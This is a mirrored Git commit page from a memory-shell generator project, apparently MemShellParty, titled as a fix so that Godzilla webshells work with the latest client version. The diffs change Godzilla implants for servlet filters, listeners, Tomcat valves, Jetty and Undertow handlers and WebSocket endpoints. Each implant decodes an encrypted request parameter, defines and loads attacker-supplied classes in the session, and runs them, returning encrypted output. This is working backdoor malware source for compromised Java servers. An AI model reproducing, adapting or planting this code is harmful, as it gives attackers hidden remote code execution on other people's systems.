mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: Godzilla not work on latest version
Dev Deploy / Build Jar (push) Waiting to run
Dev Deploy / Docker Push (push) Blocked by required conditions
Dev Deploy / Deploy to Maven Central (push) Blocked by required conditions
Dev Deploy / Deploy to Northflank (push) Blocked by required conditions
Test / UniteTest (push) Waiting to run
Test / docker-build-test (push) Waiting to run
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Blocked by required conditions
Dev Deploy / Build Jar (push) Waiting to run
Dev Deploy / Docker Push (push) Blocked by required conditions
Dev Deploy / Deploy to Maven Central (push) Blocked by required conditions
Dev Deploy / Deploy to Northflank (push) Blocked by required conditions
Test / UniteTest (push) Waiting to run
Test / docker-build-test (push) Waiting to run
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Blocked by required conditions
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Blocked by required conditions
This commit is contained in:
+3
-3
@@ -40,14 +40,14 @@ public class Godzilla extends ClassLoader {
|
|||||||
if (sessionPayload == null) {
|
if (sessionPayload == null) {
|
||||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||||
} else {
|
} else {
|
||||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
writer.write(md5.substring(0, 16));
|
f.equals(data);
|
||||||
f.toString();
|
f.toString();
|
||||||
|
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -37,15 +37,15 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
|||||||
byte[] data = base64Decode(request.getParameter(pass));
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
data = this.x(data, false);
|
data = this.x(data, false);
|
||||||
if (session.getAttribute("payload") == null) {
|
if (session.getAttribute("payload") == null) {
|
||||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
session.setAttribute("payload", (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||||
} else {
|
} else {
|
||||||
request.setAttribute("parameters", data);
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
response.getWriter().write(md5.substring(0, 16));
|
f.equals(data);
|
||||||
f.toString();
|
f.toString();
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
response.getWriter().write(md5.substring(16));
|
response.getWriter().write(md5.substring(16));
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -58,14 +58,14 @@ public class GodzillaJettyHandler extends ClassLoader {
|
|||||||
if (sessionPayload == null) {
|
if (sessionPayload == null) {
|
||||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||||
} else {
|
} else {
|
||||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
writer.write(md5.substring(0, 16));
|
f.equals(data);
|
||||||
f.toString();
|
f.toString();
|
||||||
|
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -97,15 +97,15 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
|||||||
if (session.getAttribute("payload") == null) {
|
if (session.getAttribute("payload") == null) {
|
||||||
session.setAttribute(
|
session.setAttribute(
|
||||||
"payload",
|
"payload",
|
||||||
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
|
(new GodzillaListener(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||||
} else {
|
} else {
|
||||||
request.setAttribute("parameters", data);
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
response.getWriter().write(md5.substring(0, 16));
|
f.equals(data);
|
||||||
f.toString();
|
f.toString();
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
response.getWriter().write(md5.substring(16));
|
response.getWriter().write(md5.substring(16));
|
||||||
response.flushBuffer();
|
response.flushBuffer();
|
||||||
|
|||||||
+4
-9
@@ -37,20 +37,15 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
|||||||
byte[] data = base64Decode(request.getParameter(pass));
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
data = this.x(data, false);
|
data = this.x(data, false);
|
||||||
if (session.getAttribute("payload") == null) {
|
if (session.getAttribute("payload") == null) {
|
||||||
session.setAttribute("payload", (new GodzillaServlet(this.getClass().getClassLoader())).Q(data));
|
session.setAttribute("payload", (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||||
} else {
|
} else {
|
||||||
request.setAttribute("parameters", data);
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f;
|
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
try {
|
|
||||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
response.getWriter().write(md5.substring(0, 16));
|
f.equals(data);
|
||||||
f.toString();
|
f.toString();
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
response.getWriter().write(md5.substring(16));
|
response.getWriter().write(md5.substring(16));
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-2
@@ -47,11 +47,12 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
|||||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
writer.write(md5.substring(0, 16));
|
f.equals(data);
|
||||||
f.toString();
|
f.toString();
|
||||||
|
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||||
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-4
@@ -111,16 +111,15 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
|||||||
byte[] data = base64Decode(request.getParameter(pass));
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
data = this.x(data, false);
|
data = this.x(data, false);
|
||||||
if (session.getAttribute("payload") == null) {
|
if (session.getAttribute("payload") == null) {
|
||||||
session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
|
session.setAttribute("payload", (new GodzillaValve(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||||
} else {
|
} else {
|
||||||
request.setAttribute("parameters", data);
|
|
||||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||||
f.equals(arrOut);
|
f.equals(arrOut);
|
||||||
f.equals(data);
|
|
||||||
f.equals(request);
|
f.equals(request);
|
||||||
response.getWriter().write(md5.substring(0, 16));
|
f.equals(data);
|
||||||
f.toString();
|
f.toString();
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
response.getWriter().write(md5.substring(16));
|
response.getWriter().write(md5.substring(16));
|
||||||
response.flushBuffer();
|
response.flushBuffer();
|
||||||
|
|||||||
+6
-6
@@ -74,12 +74,12 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
payload = reflectionDefineClass(data);
|
payload = reflectionDefineClass(data);
|
||||||
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
|
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
|
||||||
} else {
|
} else {
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
Object obj = payload.newInstance();
|
Object f = payload.newInstance();
|
||||||
obj.equals(data);
|
f.equals(arrOut);
|
||||||
obj.equals(bos);
|
f.equals(data);
|
||||||
obj.toString();
|
f.toString();
|
||||||
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
|
session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true)));
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
Reference in New Issue
Block a user